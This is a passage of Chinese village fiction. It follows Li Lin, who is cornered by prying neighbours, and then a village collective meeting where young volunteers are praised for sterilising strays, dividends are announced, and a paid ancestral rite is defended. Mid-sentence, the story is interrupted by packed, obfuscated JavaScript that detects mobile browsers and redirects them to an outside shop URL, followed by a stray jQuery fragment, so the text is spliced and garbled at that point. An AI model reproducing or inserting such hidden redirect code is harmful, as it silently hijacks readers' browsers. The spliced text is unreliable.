当李琳周二早上九点准时出现在李文家门口时，还没进门，就被几个在附近晒太阳、摘菜的阿叔阿婶“热情”地围住了。
“阿琳，这么早过来帮阿文看猫狗啊？”住在五巷的桂婶手里还拿着一把葱，笑容满面。
“嗯。”李琳点头，侧身想从旁边过去。
“哎，阿琳，听说你现在没在之前那家公司做了？准备找什么工作呀？”另一个烫着短卷发的阿婶，是市场边开杂货店的。
李琳脚步顿了顿：“过年之后再说吧。”
“再说可不行喔，”站在另一边的张姨随即热切地问，“现在工作难找，你得趁着年底辞职的人多托你大伯二伯想办法啊。”
“哎呀，年底大家都忙不好托人的。”李琳的回答简短。
“女孩子家，还是找个稳定点的工作好。”杂货店阿婶接过话头，语气里满是过来人的关切，“你看村里跟你差不多大的，当老师的、考公务员的、在医院银行的，多安稳。你先前帮那个没孝心的李安琪管理房子，说出去也不太好听吧？”
李琳的嘴角几不可察地绷紧了一线。她脚下微动，似乎想侧身从桂婶和杂货店阿婶之间那道狭窄的空隙穿过去。可桂婶正好往前挪了半步，手里的葱叶几乎要蹭到李琳的袖口，另一边的杂货店阿婶也下意识地跟着侧了侧身，两人原本松散的站位无形中收紧了，像一扇虚掩的门被不经意地合拢了些。
还没等李琳找到新的空隙，桂婶又笑眯眯地抛出了另一个“重磅”问题：“阿琳啊，有男朋友了没？年纪也不小啦，要抓紧了！女人最好的光阴就那么几年。我有个外甥，在开发区厂里做管理的，人很老实，要不要认识一下？”
李琳垂在身侧的手指蜷缩了一下，又缓缓松开。她的目光落在面前斑驳的水泥地上，似乎在研究一道裂纹的走向。
“是啊是啊，女孩子最终还是要有个归宿的。”
张姨很自然地接过话茬，她的手臂随着话语轻轻摆动，正好拦在李琳可能后退的路径上，“一个人飘着总不是办法。你阿婆虽然不在了，但你自己也要为自己打算。要求也别太高，人老实、有正经工作、家里条件过得去就行了。”
桂婶连连点头，身体又朝李琳这边倾近了些，李琳几乎是下意识地、幅度极小地往后仰了仰脖颈，脚跟却像钉在了原地。
她直接转身走开显得太失礼，硬挤过去又难免肢体碰撞，三位阿婶那热切、笃定、不容置疑的语流和随之微微前倾的身体，像堡垒一样围了个严实。
李琳的脖颈线条有些僵硬。她抬起手，看似随意地将一缕被风吹到脸侧的头发别到耳后，动作比平时慢了一拍。随后，她的视线从地面抬起，掠过前面两位阿婶的肩膀，望向她们身后李文家咫尺天涯的大门，喉咙里发出一个极短促、几乎听不清的鼻音：“嗯。”
杂货店阿婶似乎把这当作某种信号，正要继续开口，李琳的嘴唇动了动，吐出两个字：“不用。”声音干涩，没有什么情绪，像一块被风吹落的硬土块。
就在这时，李文从门口探出头来：“琳姐！你来了！快进来，正需要你帮忙！”
李琳的肩背几不可察地松了一下。她没有再看两位阿婶，只是朝着声音来源的方向，很快地点了下头，像是终于得到了一个无可指摘的撤离指令。她侧过身，这次的动作明确而迅速，几乎是贴着桂婶的手臂外侧擦过——桂婶“哎呀”一声，下意识地收回手让了让——李琳便像一尾滑溜的鱼，从那道刚刚因第三人介入而松动的“人墙”缝隙中穿了过去，快步走向李文家的握手楼。
走进挂着布帘的单间，隔绝了大门外投来的目光。室内消毒水与动物毛发混合的气息扑面而来。她没有立刻动作，在原地站了大约两秒钟，深深吸了一口气，又缓缓吐出，胸腔轻微的起伏在安静的室内几乎听不见。笼子里传来抓挠纸板的窸窣声和一声警惕的呜咽。
李文没察觉刚才楼外的微妙，递过来一件干净的围裙和一副新手套：“琳姐，兽医大概十点到。我们先给这几只量个体温、做个基础检查记录，还要给需要先驱虫的喂药。我教你怎么做。”
“好。”李琳接过围裙，低头系带子时，手指的动作稳而利落。她戴上手套，橡胶边缘与手腕皮肤贴合时发出轻微的“啵”声。她转向离得最近的一个笼子，目光落在里面那只蜷缩着的小狗身上，眼神重新聚焦，变得平静专注。
---
石陂村成员代表会议召开那日，天阴沉得仿佛能拧出水来。村委会二楼那间最大的会议室里，却早早就聚起了一片燥热的生气。
还不到两点半，长条会议桌旁就坐了个七七八八。来的清一色是各家户主，上了年纪的阿伯占了大半，指尖夹着香烟，吞吐间将天花板熏得朦胧；也有几位干练的阿姨，穿着羽绒服，面前摆着保温杯，正侧着头和邻座低声交谈。空气里浮动着烟味、茶垢味、临时喷的空气清新剂的气味，还有一股心照不宣的、略显焦灼的期待。
李光坐在中段靠边的位置，手里攥着个旧保温杯，正听隔壁的炳叔嘀咕：“……听说今年留用地那笔租金到账了，数目应该比去年好看点吧？”
“好看也要看怎么分。”斜对面的全叔弹了弹烟灰，“翻新、安防、保洁，哪样不要钱？账要算清。”
“再算清，该进兜里的也不能少。”另一桌传来英婶的嗓音，她在市场边开杂货店，算账最精明，“村里费用收得也不低。”
话题密密匝匝，核心都离不开那两个字：分红。
年底了，家家户户虽然不指望那点分红过年，可集体经济的“阳光雨露”诶——能多分一点自然是好的。
会议室靠后些的角落里，李琳独自坐着。她面前摊开一个素色的笔记本，手里握着一支笔，坐姿端正，却与周遭熟络的交谈气氛有些疏离。她是这里为数不多的年轻面孔，更是极少见的、以独立户主身份参会的女性。
偶尔有目光扫过她，带着些许探究，又很快移开，回到更紧要的“分红”话题上。李琳的视线落在空白的纸页上，耳中灌满了那些关于今年明年村里有多少钱的揣测与议论。
两点三十分整，村支书、同时也是石陂村经济联合社理事长的李振华——人称“稳阵李”——敲了敲话筒：“各位户主，代表，会议开始。大家安静一下。”
底下的嗡嗡声渐渐平息，香烟暂时被搁在一次性杯沿，保温杯盖拧紧，所有人目光聚焦到主位。
李振华没有立刻进入正题。他扶了扶话筒，目光在会场里缓缓扫过，脸上带着惯常的、从容的笑意。“在讨论今年收成之前，有件我们村里年轻人做的好事，趁着人齐，我先讲两句，表扬一下。”
这话让不少人露出诧异的神色。年底会议时间金贵，支书很少开场不说“钱”的。
“最近，我们村里有一帮后生仔同后生女，”李振华语速平稳，吐字清晰，“自发组织起来，做了一件……我认为几有心思、也几有远见的事。”
“他们自己揾工具，想办法，”他像在拉家常，却让每个人都听得清楚，“将村里那些冇（没）人理、到处生仔的流浪猫狗，捉起来，带去科学绝育。”
“绝育”这个词让会议室起了点微小的骚动。
“绝育完，养好后再放归。”李振华继续解释，“目的呢，系科学控制数量，减少它们生生不息又自生自灭的惨状，也减少发情打架、翻垃圾搞脏环境的问题。系对猫狗好，也对村子环境卫生有利的事。”
他顿了顿，目光特意在几个方向停了停：“牵头的是阿光家的仔，李文，医科大学生，出力最多的。”
“还有我们村的李琳以及阿杰、阿强、奶茶店小妹、杀鱼仔等等一班后生。他们自己摸底，自己筹备，报备村委会，做得有章有法，有头有尾。”
“哗——”随着支书点名，众人的目光像探照灯一样，“唰”地投向李光，又“唰”地转向后排角落的李琳。
李光先是愣住，随即胸膛下意识地挺高了些，黝黑的脸上皱纹舒展开，嘴角控制不住地向上扯。他感受到旁边炳叔用手肘碰了碰他，低声说：“阿光，你个好仔喔！”李光没答话，只是握着保温杯的手松了又紧，脸上的红光却掩不住——那是一种混杂着意外与被公开肯定的、实实在在的骄傲。
而角落里的李琳，在听到自己名字被清晰念出、并与李文并列时，背脊几不可察地僵直了一瞬。她能感觉到无数道目光黏着过来：好奇的、审视的、恍然的、或许还有别的。
她垂下眼睑，视线落在笔记本的横线上，手中的笔尖无意识地在纸面点了一下，留下一个极小的墨点。她没有去看任何人，包括前排似乎想回头看的李光，只是下颌的线条微微绷紧，暴露出一丝被置于公开赞誉之下、无所适从的不自在。
“我知道，可能有人觉得，后生仔搞这些系多此一举。”李振华的声音再次响起，将部分注意力从两个焦点人物身上拉回，“但我觉得，呢种有责任心、有爱心、有科学头脑的行动，正系我们石陂村需要的！年轻人有想法，肯落手落脚去做有益的事，无论大小，都值得肯定同支持！我希望各位户主代表，返去也同家里人，同街坊讲讲，多点理解同配合。”
他这番话说完，会议室里响起一阵参差不齐但颇为捧场的附和声。“系啊系啊。”“后生仔有心做好事，几好。”“阿光教子有方。”李光的腰杆挺得更直了。
“好，闲话讲完。”李振华适时收住，笑容一敛，语气转向另一个话题，“下面，进入今日会议正题。请永强主任，向大家详细汇报本年度集体经济收支情况，同分红初步方案。”
李永强接过话筒，他的普通话比稳阵李好得多，非常标准：“去年全村集体经济营收2680万，比前年多50万。大头还是集体物业出租：石陂横一街的临街商铺、村西靠近汽配城的仓储厂房，还有村口那排公寓楼，全年收租1980万，租户基本没退租，都是长期客；村集体参股的批发市场，去年行情好，分红500万，比前年多40万；剩下200万是村道停车费、集体地块临时转租、充电桩分成这些零碎收入，一分一厘都入账了。”
话锋一转，他翻到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193554|197104||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
支出报表，指着投影屏幕上的明细：“全年总支出1520万。物业维护费340万，主要花在厂房防水翻新、商铺水电整改，还有汽配城仓储的消防升级；联社工作人员薪酬、办公杂费、水电费300万，跟去年持平，没乱涨工资，社保公积金都按规定交齐；村道修补、祠堂日常维护、公共区域保洁、消毒花了400万，去年蚊子搞出来两种病毒，村里防疫防控费用占了大头额外支出约150万元；税费和其他杂项开支480万。算下来净利润1160万，扣1000万集体积累补固定资产、留作项目周转，能拿来分红的实打实有160万！”
台下坐前排的阿伯戴着老花镜翻报表，抬手发问：“农批市场的分红稳不稳嘎？唔好今年多明年又少，心里完全没底喔。”
李永强立马应声：“放心，签了五年保底分红协议，只要市场正常运营，只会多不会少。报表后面附了协议摘要，大家回去能细看，财务室随时能查账。”
紧接着聊2026年预算，他点开新的预算表，思路清晰：“明年营收目标3000万，不求冒进但求稳增。首先稳住物业租金，商铺争取续签长约；给农批市场追加50万投资搞冷链配套，提升周转效率，争取分红涨到650万；村尾那片集体菜地，流转给专业合作社种有机菜，流转费能多收20万，还能带动村里阿婶去打零工。支出预算1700万：人员薪酬微调，主要是涨点社保基数；物业维护和消防整改多拨100万；留800万应急金，应付台风天抢修、厂房突发故障这些事——手里有钱心里不慌。”
会议室瞬间静了下来，所有人的目光都锁在李永强身上——到了最关心的分红环节。
他提高声音，语气笃定：“2025年人均分红定820元，比去年涨30元。”
抬手压了压喧闹，他接着说：“全村在册成员1951人，人均820元，总分红支出159.982万。腊月廿九统一打到大家农商行卡里，到时候留意短信提醒，不用扎堆跑财务室。节后有疑问随时核对，不耽误大家买年货、过年。”
台上李振华拿过话筒，清了清嗓子，接过主任的话题：“各位叔伯兄弟，阿婶阿嫂，还有后生仔女，同大家讲多件事啊。”
他的声音透过音响稳稳传开，“今年腊月二十六祭祖‘拜拜’，我们村决定，学习广府市区搞得最好的高村，也请一班师傅（道士）来祈福纳吉，做场法事。系想讨个好意头，希望明年全村顺风顺水，安安乐乐。”
他刚说完，台下就有些细细碎碎的声音，像水滚前的小气泡。
“学高村？人家高村人均分成都过万喔，我们村～八百二……”靠后排不知谁嘟囔了一句。
旁边立刻有压低的声音接上：“系咯，听闻人家请的系罗浮山真高功，好架势嘅。我们呢个预算……唔通请‘喃呒佬’（民间法事人员，略带调侃）？不要搞到失礼祖宗啊。”角落传来几声窸窣的笑。
李振华在台上听得明白，脸上没有表情，反倒好似早预料到。他双手向下虚按两下——
“听到喇，有人讲嘢仔（讲小话）。”他开口，语气随意，“说我们石陂村分红八百二，学人家请师傅，系不系死要面子？系不系这些钱不该使？”
他目光一一扫过去，不是责怪倒有几分“我知道你们怎么想的”理解。
“各位，头先永强主任的账目报得清清楚楚，这些钱，主要系用来维护我们村的物业、发展生产、保障大家分红嘅。请师傅这笔钱，系从祠堂宗族民俗活动经费度单独出，绝对唔会用到大家分红同集体积累的一分一毫。”
他停了一停，语气沉着，“为什么今年非要搞呢样？这几年是怎么过的，大家心里清楚。疫情反反复复，我们村的铺租系不系波动很大？市场生意系不系特别淡？整个财政计划都被打乱了，最困难的时候，分红系不系没涨反而跌了？大家心里系不系都七上八下的？”
几句话勾起共同记忆，台下静悄悄，好多阿叔阿伯默默点头。
“我们村请师傅祈福，第一不系同人比排场，更不系同高村攀比。”李振华声线提高少许，斩钉截铁，“系为我们石陂村自己，为列祖列宗，和为在座每一位，驱散这几年的衰气，提振下士气喔！把过去几年的不顺、忐忑这些霉运统统送走，干手净脚、清清爽爽迎新年啊！”
见大家听入耳，他语气又放柔更加推心置腹：“请的人，大家放心，不系从街边随便拉个。系通过正经渠道，联系有观、有证的正经师傅团队。可能同高村请的‘高功’道士师傅有段距离，但我们祈福的心一样诚，仪式规矩一样会做足。我们图什么，系个仪式，系全村人聚在一起，借着祭祖，将条心拧成一股绳，将团火（心气）重新点旺的感觉！”
“祭祖，系怀念先人，更紧要系凝聚我们这些活人。”最后，他总结道，话语实在有力，“钱要稳揾（赚），这份想向好的心气和念想，一样要有?！这件事，就这么定啦！都希望大家腊月二十六，有空就来祠堂行行，一起参与，把咱们石陂村自己的福气，一起迎回来啊！”